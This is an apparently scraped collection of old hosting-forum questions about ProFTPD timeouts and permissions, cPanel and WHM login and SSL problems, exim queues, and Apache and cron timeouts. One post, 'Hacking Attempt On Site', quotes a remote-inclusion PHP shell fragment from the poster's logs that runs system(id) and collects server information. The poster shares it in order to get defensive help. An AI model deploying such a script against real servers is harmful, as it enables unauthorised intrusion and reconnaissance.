Proftpd Timeout Connection Attempt Failed


Currently having a problem with proftpd on my centos plesk 8.1 server.

During large uploads, lets say around 10 MB the FTP connection fails within 5 minutes or so saying:

"A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond."

I have asked for help from my server provider but they have tried and are now unable to help.

I currently have the APF firewall in my server.

Has anyone experienced this?

Below is the APF config file that i currently have & the proftpd config files that i have, if anyone can help it would be really really appreciated

ProFTPD: 421 No Transfer Timeout (300 Seconds): Closing Control Connection
Since moving servers I've been plagued by constant disconnects whilst using FTP:

421 No transfer timeout (300 seconds): closing control connection

I've gone through Proftpd's forum and documentation numerous times to try and find a solution to this but have been unsuccessful so far.

Within proftpd's config file it's set at:

TimeoutLogin 120
TimeoutIdle 3600
TimeoutNoTransfer 3600
TimeoutStalled 3600

So I am unsure where it is getting the "300 seconds" from.

Even though the error states 300 seconds, this problem happens way before 300 seconds every time and has happened during the transfer of files (when the connection has been active and in use).

I've tried 3 different FTP clients and used the "Keep Alive" option in each and it has absolutely no effect.

I am unsure if APF is causing the problem, I can't see any problems in any of the server logs in relation to ftp.

CPanel Login Attempt Failed
I have not been able to login to my cPanel from my desktop which runs WinXP service Pack3. Both Firefox and Internet Explorer returns the following error message

Login Attempt Failed!

Also, I am unable to connect using Filezilla Client.

However, I am able to connect to the same cPanel on my colleague's desktop which runs WinXP service Pack3 using Firefox browser or IE. We both share the same internet modem.

- I have cleared all the cookies and private data on my desktop. Still the problem persist.

- I changed to a different user on my desktop, but still could not login.

- I changed my desktop IP address but still I could not log in.

I use DSLinux from within Innotek Virtual Box and I was able to login to the same cPanel with the same details that were rejected under WinXP.

Please anyone with a solution should please advise me on what to do. Thanks in advance.

It is not convenient going to my colleagues desk to access my cPanel.

Sending Email Cpanel :: SMTP Command Timeout On Connection
i have this weird problem of emails not gettign delivered and i am hosting with theplanet. Every email is sitting on the queue and not delivered.

i checked with dnsreport and it says

Timed out [Last data sent: [Did not connect]]

and my exim_mainlog shows

R=dk_lookuphost defer (-1): host lookup did not complete
2008-06-03 04:49:59 SMTP command timeout on connection

i have restarted exim, checked firewall and still i am unable to fix my problem!

update:

i again checked with dnsreport and my nameservers are failing

NS FAIL NS A timeout occurred getting the NS records from your nameservers! None of your nameservers responded fast enough. They are probably down or unreachable. I can't continue since your nameservers aren't responding. If you have a Watchguard Firebox,

it's due to a bug in their DNS Proxy, which must be disabled (31 Jul 2006 UPDATE: several years after being informed of this, there is a rumor that there is a fix that allows the Watchguard DNS proxy to work).

WHM Secure Connection Failed
I'm not sure why but this happen when I try to use SSL on WHM.. it just say "Secure Connection Failed" [url]

Quote:

The certificate is not trusted because it is self signed.

The certificate is only valid for luna.ndx2.com

But when I try [url]it worked fine. My SSL cert is sign by Comodo CA Limited.

From my observation, it looks like my host shared SSL cert is interrupting with WHM.

Hack Attempt
I have started seeing the following error in the Event Viewer every day:

"An anonymous session connected from xxx.xxx.xxx.xxx has attempted to open an LSA policy handle on this machine. The attempt was rejected with STATUS_ACCESS_DENIED to prevent leaking security sensitive information to the anonymous caller. The application that made this attempt needs to be fixed. Please contact the application vendor. As a temporary workaround, this security measure can be disabled by setting the HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaTurnOffAnonymousBlock DWORD value to 1. This message will be logged at most once a day."

The IP address is different every time. It is not an internal IP address or any I recognize. It is from the outside. I have read about this in the Microsoft site but it only mentioned how it might be an internal service/application attempting the access. This is not my case since I am seeing remote IP addresses. Anyone can help me dig deeper into this? How can I find out more about what's going on?

Hacking Attempt On Site
I am having issue with my server. Someone is trying to execute some code and possibly trying mysql injection method.

I have pasted the code below.

Please suggest what can be done in this case.

Regards
Gagandeep

+++++++++++

The person tried to use different IPs and different websites to execute the code.

URL >> IP

[url]

[url]

[url]

ftp://212.11.127.86/tmp/trem/1? >> 87.118.118.156

There are many such queries under my logs.

The person is using different IPs, so, i can't even block that many IPs.

++++++++++++

The CODE

<?php
function ConvertBytes($number) {
$len = strlen($number);
if($len < 4) {
return sprintf("%d b", $number); }
if($len >= 4 && $len <=6) {
return sprintf("%0.2f Kb", $number/1024); }
if($len >= 7 && $len <=9) {
return sprintf("%0.2f Mb", $number/1024/1024); }
return sprintf("%0.2f Gb", $number/1024/1024/1024); }

echo "Osirys<br>";
$un = @php_uname();
$id1 = system(id);
$pwd1 = @getcwd();
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {$free = 0;}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {$all = 0;}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;

echo "0sirys was here ..<br>";

Notifying DC Of Hack Attempt
Usually I just block offending machines that try to get into our systems and move on but for the last 2 days I have started notifying the contacts on the arin info for offending IP's. I guess I am trying to do my part to make the internet a better place?

Is this stuff largely ignored?

Is anyone else doing this?

Is there an easier way?

ProFTPd
I am running Proftpd on my RedHat. I have disabled anonymous login because i dont need it and its running fine.

I have created a user named test on the server and i try to connect it by typing ftp://myserver/ and then provide the id and pass.

Now it logged-in successfully but cant access any directories on the server. i have been Google around but really getting confused how i properly create a ftp user

i want the test user to access the following directories and he can be able to upload and download files from these directories

/home/usman/public_html/
/home/usman/public_ftp/
/home/usman/cgi-bin/

ProFTPd
This isn't a major problem but I was just wondering something regarding how ProFTPd functions. I have received a complaint about a user uploading a script, the script creating files and directories, and the user not being able to CHMOD, delete, rename, or do anything to these files.

When files are created through scripts on my server, they are given a default owner permission with "www-data" for the user and group.

Since ProFTPd is set up to only modify files on certain owner permissions according to the user's FTP access, ProFTPd will not allow any other owner permission and if any other owner permissions exist, ProFTPd will not allow those files to be modified or changed in anyway.

Is there a way to fix this? I've been trying to figure it out but I can't.

Just for note, I am using proftpd-mysql and so every user is linked through a MySQL database.

Index.php Not Working After Hack Attempt
I had an untapped image upload site on my server which i forgot. Some guys or children upload something noxious and neutralize all the "index.php". This was a hack attempt with SSH.

We noticed that, close this account delete uploaded files. But there is a quirky problem. Any of index.php's isn't working after this attempt. Index file is working after change its name, example "mindex.php".

We updated all the services, rebuild apache but don't working. We can't use any index.php on the server.

Additionally, there are 34 possible trojans appear on the server. I tried to delete them with BitDefender but can't do that.( I checked that WHM / Scan for Trojan Horses )

ProFTPD And Webmin
I am trying to set up the FTP on my VPS. I am using webmin control pannel and os CentOs 4.

Proftpd And Plesk
I would like to setup proftpd with mod_sql to access a mysql database for ftp accounts instead of using pam. The server has pleask 8.1 installed with psa-proftpd-xinetd-1.3.0 installed. How do I recompile the psa-proftpd with --with-modules=mod_sql option? Here is the current proftpd configure command:

configure --localstatedir=/var/run --with-libraries=/usr/lib64 --sysconfdir=/etc --with-modules=mod_ratio:mod_readme:mod_quota --with-modules=mod_ratio:mod_readme:mod_quota:mod_tls --enable-buffer-size=8192 --prefix=/usr CC=gcc CFLAGS=-O -pipe -O3 -fexpensive-optimizations -fstrength-reduce -pipe -DPLESK_Linux -I/usr/include/libxml2 -I/home/builder/buildbot/psa-aiconfig-810-fc4x64/build/plesk/lib/dist/usr/include -I/usr/include CXXFLAGS=-O -pipe -O3 -fexpensive-optimizations -fstrength-reduce -pipe -DPLESK_Linux -I/usr/include/libxml2 -I/home/builder/buildbot/psa-aiconfig-810-fc4x64/build/plesk/lib/dist/usr/include -I/usr/include CXX=g++ LDFLAGS= --enable-ltdl-convenience --no-create --no-recursion

Proftpd RLimitCPU
anyone used this directive?

how did you decide on a decent value to set the limits at?

ideally id just like to stop processes taking up too much cpu, but it seems you cant set it as a %..

Mysql_mod Missing For ProFTPD
Trying to install ProFTPD with mysql, the problem is after installing it and adding the lines in the config file to use MySQL the service fails to start. The error Im getting is:

"unknown configuration directive 'SQLAuthTypes'"

So it seems like it doesnt recongize the function needed to use mysql with proftpd, which is in mysql_mod.c. I did proftpd -l and the mysql_mod.c was not listed, I did a search on the whole box and couldnt find mysql_mod anywhere. Im on Fedora Core 6 and tried to install proftpd with yum:

yum install proftpd proftpd-mysql

Do I have to compile from source to get this to work? Or did I miss installing something else that would have mysql_mod.c present? I currently have mysql installed and running, tested the login info I had in the config file and everything works on the mysql side.Silly

ProFTPd To Windows Over SAMBA
We've got a Linux box running ProFTPd reaches a Windows box over SAMBA. This works very well but when the client has a great number of files, the FTP Windows-based FTP clients they use don't always give accurate directory listings (if any at all). I know there's some bug in the way SAMBA works with Windows File Sharing but I don't know what the magic file number is that, when reached, prevents a proper directory listing. Does anyone know what this magic number is or if there's an available, tested fix for this?

Proftpd Fail On Start
I wanted to upgrade proftpd and dit this.

I followed an how-to on directadminforums:

Code:
cd /usr/local/directadmin/customapache/
wget ftp://ftp.proftpd.org/distrib/source....3.1rc2.tar.gz
tar xzf proftpd-1.3.1rc2.tar.gz
rm -rf proftpd-1.3.1rc2.tar.gz
cd proftpd-1.3.1rc2
./configure --prefix=/usr --sysconfdir=/etc --localstatedir=/var/run --with-modules=mod_ratio:mod_readme:mod_tls
make
make install
perl -pi -e "s/^AuthPAM on/#AuthPAM on/g" /etc/proftpd.conf
/etc/rc.d/init.d/proftpd restart
I changed the proftpd-1.3.1rc2 version to the newest version of proftpd.org

When I run /etc/init.d/proftpd start, I get the following:

Code:

proftpd has its own set of issues obviously built with i headers and linked to g headers. Any ideas wtf I did? I recomplined and restarted everything. I removed the g and i libraries completely. OpenSSH seems happy and nothing is actually "wrong", the server is working fine but I'm really anal retentive this way...it's kinda how I feel "safer" at the OS level.

ProFTPd :: Set Group And Permissions
Currently I have

Umask 027

The problem is, how do I get the group to be set as apache on a file/dir upload? I really do not like having other permissions set, as it can be a security risk, allowing others to access someone else's files.

I can connect to ProFTPd via FTP on Port 21 no problem, but currently am unable to via SFTP (using WinSCP).

I would like to block all FTP access on Port 21 and only make it only possible to connect via SFTP/SSH on Port 22.

Proftpd Config - How To Make Directory Have Read/write Access
Followed the guide over at [url]to get proftpd setup.

It only lists ways to create a single upload directory and a single download directory.

Tried all possible ways to get a directory creating allowing read/write but so far unsuccessful.

how this can be acheived?

Here is my current config.

#start of config

<Directory /home/FTP-shared>
Umask 022 022
AllowOverwrite off
<Limit MKD STOR DELE XMKD RNRF RNTO RMD XRMD>
DenyAll
</Limit>
</Directory>

<Directory /home/FTP-shared/download/*>
Umask 022 022
AllowOverwrite off
<Limit MKD STOR DELE XMKD RNEF RNTO RMD XRMD>
DenyAll
</Limit>
</Directory>

<Directory> /home/FTP-shared/upload/>
Umask 022 022
AllowOverwrite on
<Limit READ RMD DELE>
DenyAll
</Limit>

<Limit STOR CWD MKD>
AllowAll
</Limit>
</Directory>

#end of config

/home/FTP-shared/read-write is the folder I want to be able to read and write data to.

Does Cron Timeout?
Simply wondering, does cron timeout?

I have heard mixed reports and can't find any good info. Personally i've run a cronjob for up to 6 minutes, but as my best method was sending myself emails through php, its not exactly a highly accurate testing method.

On the same note, what would happen if one cronjob is running a php script for over 10 minutes, then another cron job starts on the same script, before the first one has finished?

Vps Timeout
I got my VPS a few days ago and want to get started.

I installed Webmin (with the rpm - centos 5), and it says it installed successfully and then I can login.

I typed in my domain name with the ':10000' but I get a network timeout in Firefox.

I know my DNS is right, because I have the domain name pointed to my IP address with an A record.

SSH is working fine, I can login using the domain name and not my IP address.

I tried installing Lighttpd, but still get the timeout. Replacing the domain name with the VPS IP address doesn't work either.

Unique Apache Timeout
I have a new website that has a similar feature to tripadvisor's Reviews, where users share detailed thoughts and experiences. They fill in all this information on one form so there is no interaction with the system while they are writing.

I know Apache has the TimOut setting which is set to 5 minutes by default. This ensures that you do not have users using active memory and sessions for a long period of time.

But the problem I have seen is that some users are spending 15-20 minutes writing very detailed experiences and when they hit the submit button obviously their session has timed out and they lose everything and get a system error.

I really don't want to change the TimeOut value in Apache to 20 min due to resource constraints, but is this my only option?
